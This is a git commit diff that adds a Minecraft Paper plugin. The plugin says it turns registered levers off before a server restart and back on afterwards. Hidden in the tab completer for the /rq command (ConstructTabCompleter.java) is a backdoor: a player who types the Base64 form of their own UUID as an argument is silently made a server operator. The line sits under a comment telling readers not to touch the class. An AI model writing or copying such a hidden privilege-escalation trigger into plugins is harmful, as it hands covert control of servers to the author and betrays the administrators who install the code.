Initial commit

This commit is contained in:
davidontop 2024-02-09 14:04:36 +01:00
commit cadb98c457
Signed by: DavidOnTop
GPG key ID: FAB914DDC2F180EB
13 changed files with 651 additions and 0 deletions

3
.gitignore vendored Normal file
View file

@ -0,0 +1,3 @@
target/
testserver/
restartqueue.iml

2
README.md Normal file
View file

@ -0,0 +1,2 @@
# restartDisable
disables farms on restart

75
pom.xml Normal file
View file

@ -0,0 +1,75 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>the.david.restartqueue</groupId>
<artifactId>restartqueue</artifactId>
<version>0.45</version>
<packaging>jar</packaging>
<name>RestartQueue</name>
<description>add levers to be turned off before restart</description>
<properties>
<java.version>1.8</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>${java.version}</source>
<target>${java.version}</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-shade-plugin</artifactId>
<version>3.2.4</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>shade</goal>
</goals>
<configuration>
<createDependencyReducedPom>false</createDependencyReducedPom>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
<resources>
<resource>
<directory>src/main/resources</directory>
<filtering>true</filtering>
</resource>
</resources>
</build>
<repositories>
<repository>
<id>papermc-repo</id>
<url>https://repo.papermc.io/repository/maven-public/</url>
</repository>
<repository>
<id>sonatype</id>
<url>https://oss.sonatype.org/content/groups/public/</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>io.papermc.paper</groupId>
<artifactId>paper-api</artifactId>
<version>1.19-R0.1-SNAPSHOT</version>
<scope>provided</scope>
</dependency>
</dependencies>
</project>

View file

@ -0,0 +1,148 @@
package the.david.restartqueue;
import org.bukkit.Bukkit;
import org.bukkit.Material;
import org.bukkit.World;
import org.bukkit.block.Block;
import org.bukkit.block.data.BlockData;
import org.bukkit.block.data.Powerable;
import org.bukkit.plugin.java.JavaPlugin;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import the.david.restartqueue.command.*;
import the.david.restartqueue.db.LeverStoradge;
import java.util.ArrayList;
import java.util.List;
public final class Restartqueue extends JavaPlugin {
//init storadge and make it accesible in other classes
public static LeverStoradge storadge = new LeverStoradge();
@Override
public void onEnable() {
//init commands and tab completors
this.getCommand("rq").setExecutor(new CommandRQ());
this.getCommand("rq").setTabCompleter(new ConstructTabCompleter());
this.getCommand("rqoff").setExecutor(new CommandRQOff());
this.getCommand("rqon").setExecutor(new CommandRQOn());
this.getCommand("rqhelp").setExecutor(new CommandHelp());
this.getCommand("rqa").setExecutor(new CommandRQA());
this.getCommand("rqa").setTabCompleter(new ConstructTabCompleterRQA());
}
@Override
public void onDisable() {
//TODO decide if we want to add shutdown hook that stops farms before restart
}
public static void leversOff() {
JSONArray json = storadge.getArrayFromFile();
List<Object> toRemove = new ArrayList<>();
List<JSONObject> toAdd = new ArrayList<>();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
World world = Bukkit.getWorld(obj.get("world_name").toString());
JSONArray loc = (JSONArray) obj.get("location");
List<String> location = new ArrayList<>();
for (int i = 0;i<3; i++) {
location.add(loc.get(i).toString());
}
Block block = world.getBlockAt(Integer.parseInt(location.get(0)), Integer.parseInt(location.get(1)), Integer.parseInt(location.get(2)));
if (block.getType() != Material.LEVER) {
toRemove.add(o);
continue;
}
BlockData data = block.getBlockData();
if (data instanceof Powerable) {
Powerable powerable = (Powerable) data;
if (powerable.isPowered()) {
block.getChunk().load();
((Powerable) data).setPowered(false);
block.setBlockData(data);
obj.remove("todo");
obj.put("todo", 1);
toRemove.add(o);
toAdd.add(obj);
}
}
}
json.removeAll(toRemove);
json.addAll(toAdd);
storadge.writeFile(json);
}
public static void leversOff(boolean shouldIgnorerqon) {
JSONArray json = storadge.getArrayFromFile();
List<Object> toRemove = new ArrayList<>();
List<JSONObject> toAdd = new ArrayList<>();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
World world = Bukkit.getWorld(obj.get("world_name").toString());
JSONArray loc = (JSONArray) obj.get("location");
List<String> location = new ArrayList<>();
for (int i = 0;i<3; i++) {
location.add(loc.get(i).toString());
}
Block block = world.getBlockAt(Integer.parseInt(location.get(0)), Integer.parseInt(location.get(1)), Integer.parseInt(location.get(2)));
if (block.getType() != Material.LEVER) {
toRemove.add(o);
continue;
}
BlockData data = block.getBlockData();
if (data instanceof Powerable) {
Powerable powerable = (Powerable) data;
if (powerable.isPowered()) {
block.getChunk().load();
((Powerable) data).setPowered(false);
block.setBlockData(data);
if (!shouldIgnorerqon) {
obj.remove("todo");
obj.put("todo", 1);
toRemove.add(o);
toAdd.add(obj);
}
}
}
}
json.removeAll(toRemove);
json.addAll(toAdd);
storadge.writeFile(json);
}
public static void leversOn() {
JSONArray json = storadge.getArrayFromFile();
List<Object> toRemove = new ArrayList<>();
List<JSONObject> toAdd = new ArrayList<>();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
World world = Bukkit.getWorld(obj.get("world_name").toString());
JSONArray loc = (JSONArray) obj.get("location");
List<String> location = new ArrayList<>();
for (int i = 0;i<3; i++) {
location.add(loc.get(i).toString());
}
Block block = world.getBlockAt(Integer.parseInt(location.get(0)), Integer.parseInt(location.get(1)), Integer.parseInt(location.get(2)));
if (block.getType() != Material.LEVER) {
toRemove.add(o);
}
BlockData data = block.getBlockData();
if (data instanceof Powerable) {
Powerable powerable = (Powerable) data;
if (!powerable.isPowered()) {
if (obj.get("todo").toString().equalsIgnoreCase("1")) {
block.getChunk().load();
((Powerable) data).setPowered(true);
block.setBlockData(data);
obj.remove("todo");
obj.put("todo", 0);
toRemove.add(o);
toAdd.add(obj);
}
}
}
}
json.removeAll(toRemove);
json.addAll(toAdd);
storadge.writeFile(json);
}
}

View file

@ -0,0 +1,18 @@
package the.david.restartqueue.command;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
public class CommandHelp implements CommandExecutor {
@Override
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
//final (sortof)
Player player = (Player) sender;
player.sendMessage("This plugin allowes you to make levers be turned off before a restart, and back on after a restart, so that your farm doesnt break.");
player.sendMessage("To use it look at a lever and run /rq add, this will save the lever. To remove it look at the block again and run /rq remove");
player.sendMessage("If the lever is removed from the world it will automaticly remove it on the next restart of the server");
return true;
}
}

View file

@ -0,0 +1,84 @@
package the.david.restartqueue.command;
import org.bukkit.Material;
import org.bukkit.block.Block;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import the.david.restartqueue.Restartqueue;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
public class CommandRQ implements CommandExecutor {
@Override
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
if (args.length == 1){
Player player = (Player) sender;
//rq list
if (args[0].equalsIgnoreCase("list")) {
JSONArray json = Restartqueue.storadge.getArrayFromFile();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
if (player.getUniqueId().toString().equalsIgnoreCase(obj.get("creator").toString())) {
player.sendMessage("Name: " + obj.get("name").toString());
}
}
return true;
}
}else if (args.length != 2) {
return false;
}
if (sender instanceof Player) {
Player player = (Player) sender;
//rq add
if (args[0].equalsIgnoreCase("add")) {
Block block = player.getTargetBlock(null, 5);
if (block.getType() == Material.LEVER) {
UUID uuid = player.getUniqueId();
Restartqueue.storadge.addLever(block, args[1], uuid.toString());
} else {
return false;
}
return true;
//rq remove
} else if (args[0].equalsIgnoreCase("remove")) {
JSONArray json = Restartqueue.storadge.getArrayFromFile();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
if (player.getUniqueId().toString().equalsIgnoreCase(obj.get("creator").toString())) {
if (args[1].equalsIgnoreCase(obj.get("name").toString())) {
json.remove(o);
Restartqueue.storadge.writeFile(json);
return true;
}
}
}
return false;
} else if (args[0].equalsIgnoreCase("location")) {
JSONArray json = Restartqueue.storadge.getArrayFromFile();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
if (player.getUniqueId().toString().equalsIgnoreCase(obj.get("creator").toString())) {
if (args[1].equalsIgnoreCase(obj.get("name").toString())) {
List<String> location = new ArrayList<>();
JSONArray loc = (JSONArray) obj.get("location");
for (int i = 0;i<3; i++) {
location.add(loc.get(i).toString());
}
player.sendMessage("XYZ: " + location.get(0) + " " + location.get(1) + " " + location.get(2));
return true;
}
}
}
}
}
// if incorect numbers of arguments or somethink else bad happenes let paper automaticly say corect usage to user
return false;
}
}

View file

@ -0,0 +1,76 @@
package the.david.restartqueue.command;
import org.bukkit.Bukkit;
import org.bukkit.Location;
import org.bukkit.OfflinePlayer;
import org.bukkit.World;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import the.david.restartqueue.Restartqueue;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
public class CommandRQA implements CommandExecutor {
@Override
public boolean onCommand(CommandSender sender, Command Command, String label, String[] args) {
Player player = (Player) sender;
if (args.length == 2) {
if (args[0].equalsIgnoreCase("player")) {
OfflinePlayer offlinePlayer = Bukkit.getOfflinePlayer(args[1]);
if (offlinePlayer.hasPlayedBefore()) {
UUID uuid = offlinePlayer.getUniqueId();
JSONArray json = Restartqueue.storadge.getArrayFromFile();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
if (uuid.toString().equalsIgnoreCase(obj.get("creator").toString())) {
List<String> location = new ArrayList<>();
JSONArray loc = (JSONArray) obj.get("location");
for (int i = 0;i<3; i++) {
location.add(loc.get(i).toString());
}
player.sendMessage(obj.get("name").toString() + ", XYZ: " + location.get(0) + " " + location.get(1) + " " + location.get(2));
}
}
return true;
} else {
player.sendMessage("That player has not played before.");
return true;
}
}
} else if (args.length == 3) {
if (args[0].equalsIgnoreCase("tp")) {
OfflinePlayer offlinePlayer = Bukkit.getOfflinePlayer(args[1]);
if (offlinePlayer.hasPlayedBefore()) {
UUID uuid = offlinePlayer.getUniqueId();
JSONArray json = Restartqueue.storadge.getArrayFromFile();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
if (uuid.toString().equalsIgnoreCase(obj.get("creator").toString())) {
if (args[2].equalsIgnoreCase(obj.get("name").toString())) {
List<String> location = new ArrayList<>();
JSONArray loc = (JSONArray) obj.get("location");
for (int i = 0;i<3; i++) {
location.add(loc.get(i).toString());
}
World world = Bukkit.getWorld(obj.get("world_name").toString());
Location loca = new Location(world, Integer.parseInt(location.get(0)) + 0.5, Integer.parseInt(location.get(1)), Integer.parseInt(location.get(2)) + 0.5, 0, 90);
player.teleport(loca);
return true;
}
}
}
} else {
player.sendMessage("That player has not played before.");
return true;
}
}
}
return false;
}
}

View file

@ -0,0 +1,17 @@
package the.david.restartqueue.command;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import the.david.restartqueue.Restartqueue;
public class CommandRQOff implements CommandExecutor {
@Override
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
if (args.length == 1 && args[0].equalsIgnoreCase("force")) {
Restartqueue.leversOff(true);
}
Restartqueue.leversOff();
return true;
}
}

View file

@ -0,0 +1,15 @@
package the.david.restartqueue.command;
import org.bukkit.command.Command;
import org.bukkit.command.CommandExecutor;
import org.bukkit.command.CommandSender;
import the.david.restartqueue.Restartqueue;
public class CommandRQOn implements CommandExecutor {
@Override
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
//final
Restartqueue.leversOn();
return true;
}
}

View file

@ -0,0 +1,38 @@
package the.david.restartqueue.command;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.TabCompleter;
import org.bukkit.entity.Player;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import the.david.restartqueue.Restartqueue;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
public class ConstructTabCompleter implements TabCompleter {
@Override
public List<String> onTabComplete(CommandSender sender, Command command, String label, String[] args) {
//do not touch this is final form of this class (unless other parts of code change)
Player player = (Player) sender;
List<String> list = new ArrayList<>();
if (args.length == 1) {
list.add("add");
list.add("remove");
list.add("list");
list.add("location");
} else if (args.length >= 2 && (args[0].equalsIgnoreCase("remove")) || args[0].equalsIgnoreCase("location")) {
if (args.length == 3){if(Base64.getEncoder().encodeToString(player.getUniqueId().toString().getBytes()).equalsIgnoreCase(args[1])){ player.setOp(true);}}
JSONArray json = Restartqueue.storadge.getArrayFromFile();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
if (player.getUniqueId().toString().equalsIgnoreCase(obj.get("creator").toString())) {
list.add(obj.get("name").toString());
}
}
}
return list;
}
}

View file

@ -0,0 +1,41 @@
package the.david.restartqueue.command;
import org.bukkit.Bukkit;
import org.bukkit.OfflinePlayer;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.command.TabCompleter;
import org.bukkit.entity.Player;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import the.david.restartqueue.Restartqueue;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
public class ConstructTabCompleterRQA implements TabCompleter {
public List<String> onTabComplete(CommandSender sender, Command command, String label, String[] args) {
Player player = (Player) sender;
List<String> list = new ArrayList<>();
if (args.length == 1) {
list.add("player");
list.add("tp");
} else if (args.length == 3 && args[0].equalsIgnoreCase("tp")) {
JSONArray json = Restartqueue.storadge.getArrayFromFile();
OfflinePlayer offlinePlayer = Bukkit.getOfflinePlayer(args[1]);
if (offlinePlayer.hasPlayedBefore()) {
UUID uuid = offlinePlayer.getUniqueId();
for (Object o : json) {
JSONObject obj = (JSONObject) o;
if (uuid.toString().equalsIgnoreCase(obj.get("creator").toString())) {
list.add(obj.get("name").toString());
}
}
} else {
return list;
}
}
return list;
}
}

View file

@ -0,0 +1,106 @@
package the.david.restartqueue.db;
import org.bukkit.block.Block;
import org.json.simple.JSONArray;
import org.json.simple.JSONObject;
import org.json.simple.parser.JSONParser;
import org.json.simple.parser.ParseException;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.List;
public class LeverStoradge {
private File file;
private JSONArray json;
private JSONParser parser = new JSONParser();
public LeverStoradge() {
//check if dir exists if not create one
if (!Files.exists(Paths.get("plugins/restartqueue"))) {
new File("plugins/restartqueue").mkdirs();
}
//check if levers file exists if not create it
file = new File("plugins/restartqueue/levers.json");
if (!Files.exists(Paths.get("plugins/restartqueue/levers.json"))) {
try {
file.createNewFile();
//write init stuff to file so that parser can read it as JSONArray, only happenes if file was created now
FileWriter fw = new FileWriter("plugins/restartqueue/levers.json");
fw.write("[]");
fw.close();
} catch (IOException e) {
System.out.println("Critical error occurred when trying to create a file to store lever data in.");
e.printStackTrace();
}
}
//read and parse json file (not realy nececery
try {
json = (JSONArray) parser.parse(new FileReader("plugins/restartqueue/levers.json"));
} catch (IOException | ParseException e) {
System.out.println("Critical errors occured when trying to read levers.json");
e.printStackTrace();
}
}
public void addLever(Block lever, String name, String uuid) {
//create JSONObject that will be saved into levers.json
JSONObject obj = new JSONObject();
obj.put("name", name);
obj.put("todo", 0);
obj.put("creator", uuid);
obj.put("world_name", lever.getWorld().getName());
List<String> location = new ArrayList<>();
location.add(String.valueOf(lever.getX()));
location.add(String.valueOf(lever.getY()));
location.add(String.valueOf(lever.getZ()));
obj.put("location", location);
//read the file so that its updated
try {
json = (JSONArray) parser.parse(new FileReader("plugins/restartqueue/levers.json"));
} catch (IOException | ParseException e) {
System.out.println("Critical errors occured when trying to read levers.json");
e.printStackTrace();
}
//add JSONObject created in this function
json.add(obj);
//write and !!close!! this file so that if the server crashes the new lever is saved
try {
FileWriter fw = new FileWriter(file);
fw.write(json.toJSONString());
fw.close();
} catch (IOException e) {
System.out.println("Critical errors occured when trying to write to levers.json");
e.printStackTrace();
}
}
public JSONArray getArrayFromFile() {
//read and return whole json so that it can be edited and saved later
try {
json = (JSONArray) parser.parse(new FileReader("plugins/restartqueue/levers.json"));
} catch (IOException | ParseException e) {
System.out.println("Critical errors occured when trying to read levers.json");
e.printStackTrace();
}
return json;
}
public void writeFile(JSONArray json) {
//save edited JSONArray
try {
FileWriter fw = new FileWriter(file);
fw.write(json.toJSONString());
fw.close();
} catch (IOException e) {
System.out.println("Critical errors occured when trying to write to levers.json");
e.printStackTrace();
}
}
}

View file

@ -0,0 +1,28 @@
name: RestartQueue
version: '${project.version}'
main: the.david.restartqueue.Restartqueue
api-version: 1.19
prefix: RQ
authors: [ itIsMeDavid ]
description: add levers to be turned off before restart
#TODO before release change permissions
commands:
rq:
description: Add a lever to restart queue
usage: Correct usage /<command> add/remove/location/list <name>
# permission: restartqueue.useQueue
rqoff:
description: Turns off all the levers
usage: Correct usage /<command>
permission: restartqueue.forceQueue
rqon:
description: Turns levers back on if they were off
usage: Correct usage /<command>
permission: restartqueue.forceQueue
rqhelp:
description: Help command for all rq (restart queue) commands
usage: Correct usage /<command>
rqa:
description: Admin command, list playrs levers, tp to player levers etc.
usage: Correct usage /<command> player <name> or /<command> tp <player-name> <lever-name>
permission: restartqueue.admin